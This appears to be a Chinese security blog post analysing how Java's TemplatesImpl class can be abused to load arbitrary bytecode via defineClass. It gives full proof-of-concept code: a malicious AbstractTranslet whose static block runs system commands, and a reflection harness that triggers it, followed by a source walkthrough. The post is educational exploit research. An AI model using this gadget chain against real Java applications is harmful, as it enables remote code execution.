1.什么是defineClass
defineClass 是 java.lang.ClassLoader 中的核心方法,作用是把一段字节数组(.class 字节码)转化为 JVM 中的 Class对象。它是类加载流程中"定义"阶段的真正执行者。
defineClass会直接把字节码灌进classLoader里,绕过了双亲委派,这是危险的根源。但是defineClass是一个protected final方法,只能被同一个包下的类或其子类直接调用,所以通常只能通过反射并调用setAccessible(true)来实现

2.TemplatesImpl defineClass字节码加载原理
如1中所说,defineClass虽然可以绕过双亲委派直接加载字节码,但是protected的作用域使其存在极大的局限性。所以研究人员发现了TemplatesImpl链,可以通过一个public的方法入口逐步调用defineClass实现字节码加载。
通过逆向分析的思路来还原一下这条链被发现的过程:
首先发现,在TemplatesImpl的一个内部静态类TransletClassLoader中重载了defineClass

该defineClass方法在一个私有方法defineTransletClasses中被调用
defineTransletClasses又在一个私有方法getTransletInstance中被调用
getTransletInstance又在一个public方法newTransformer中被调用
通过这样的分析方法,就已经找到了一个作用域是public的入口类,一层一层的调用到protected的defineClass中实现字节码的加载,调用链如下:
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
3.源码分析
既然已经找到了整条利用链,那就要想方设法让代码按照利用链的路径进行。代码中会存在很多if else之类的分支,怎么让代码按照我们的想法走才是可以成功利用的重点
3.1 测试代码
EvilCode
package org.atoposx.TemplatesImpl_Byte;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilCode extends AbstractTranslet {
static {
try {
// 根据操作系统执行不同的命令
String os = System.getProperty("os.name").toLowerCase();
String[] cmd;
if (os.contains("mac")) {
cmd = new String[]{"open", "-a", "Calculator"};
System.out.println("[执行] 在 macOS 上打开计算器");
} else if (os.contains("win")) {
cmd = new String[]{"cmd", "/c", "calc"};
System.out.println("[执行] 在 Windows 上打开计算器");
} else {
cmd = new String[]{"/bin/sh", "-c", "echo 'EvilCode executed on Linux' && id"};
System.out.println("[执行] 在 Linux 上执行 id 命令");
}
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
// 必须实现的抽象方法,留空即可
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
// 必须实现的抽象方法,留空即可
}
}
TemplatesImplByteTest
package org.atoposx.TemplatesImpl_Byte;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplByteTest {
public static void main(String[] args) throws Exception {
System.out.println("========================================");
System.out.println("TemplatesImpl 字节码加载测试");
System.out.println("========================================\n");
// 步骤1:读取恶意字节码
System.out.println("[步骤1] 读取 EvilCode.class 字节码");
byte[] bytecode = loadClassBytes(EvilCode.class);
System.out.println("字节码长度: " + bytecode.length + " 字节");
System.out.println("Base64 编码: " + Base64.getEncoder().encodeToString(bytecode).substring(0, 50) + "...\n");
// 步骤2:创建 TemplatesImpl 实例并设置字段
System.out.println("[步骤2] 创建 TemplatesImpl 实例");
TemplatesImpl templates = new TemplatesImpl();
System.out.println("TemplatesImpl 实例已创建: " + templates + "\n");
// 步骤3:通过反射设置私有字段
System.out.println("[步骤3] 通过反射设置私有字段");
// 设置 _bytecodes(字节码数组)
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{bytecode});
System.out.println("已设置 _bytecodes 字段");
// 设置 _name(必须非空)
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "EvilTemplates");
System.out.println("已设置 _name 字段: EvilTemplates");
// 设置 _tfactory(TransformerFactory)
Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
System.out.println("已设置 _tfactory 字段\n");
try {
templates.getOutputProperties();
System.out.println("\n[完成] getOutputProperties() 调用完成");
} catch (Exception e) {
System.out.println("\n[异常] 调用过程中抛出异常:");
e.printStackTrace();
}
}
/**
* 读取指定类的字节码
*/
private static byte[] loadClassBytes(Class<?> clazz) throws Exception {
String resource = clazz.getName().replace('.', '/') + ".class";
try (InputStream in = clazz.getClassLoader().getResourceAsStream(resource)) {
if (in == null) {
throw new IllegalStateException("找不到字节码资源: " + resource +
"\n请先编译项目: mvn compile");
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = in.read(buf)) != -1) {
bos.write(buf, 0, n);
}
return bos.toByteArray();
}
}
}
看代码不难发现,其中有几个关键的设计:
- 恶意类需要继承AbstractTranslet
- _name不为空
- 设置_tfactory
3.2 分析
步入入口点templates.getOutputProperties()
进入newTransformer()
进入getTransletInstance()
在这里可以发现,getTransletInstance方法判断了_name是否为空,所以payload中必须要传入_name的值
步入defineTransletClasses
该方法的本意是如果还没有加载类则先加载类,由于传入的是字节码并没有对类进行加载,所以进入了这个方法中读取字节码去加载类。
同时可以在这个方法中发现一个对_tfactory的校验_tfactory.getExternalExtensionsMap(),如果_tfactory为null(默认为null)的话会抛出空指针NPE异常,所以在构造的时候需要将_tfactory构造成一个空的TransformerFactoryImpl对象

继续往后看循环中的代码
在将字节码转换成类的过程中,会判断是否存在一个类继承了AbstractTranslet,并记录其索引。如果这个类没有继承AbstractTranslet,_transletIndex的值就是默认的-1,会抛出异常。
在获取类之后,就要对类进行实例化
这里也可以发现会将class强转成AbstractTranslet类型,再次说明了恶意类需要继承AbstractTranslet的要求。
最后进行newInstance实例化触发恶意类的static静态代码块触发恶意代码
4.问题补充
4.1为什么_tfactory等字段需要反射填充
private作用域
5.参考文章
TemplatesImpl defineClass字节码加载
https://blog.atoposx.com/archives/019ff91a-d7b3-76b5-8c29-a3b645e19c43
评论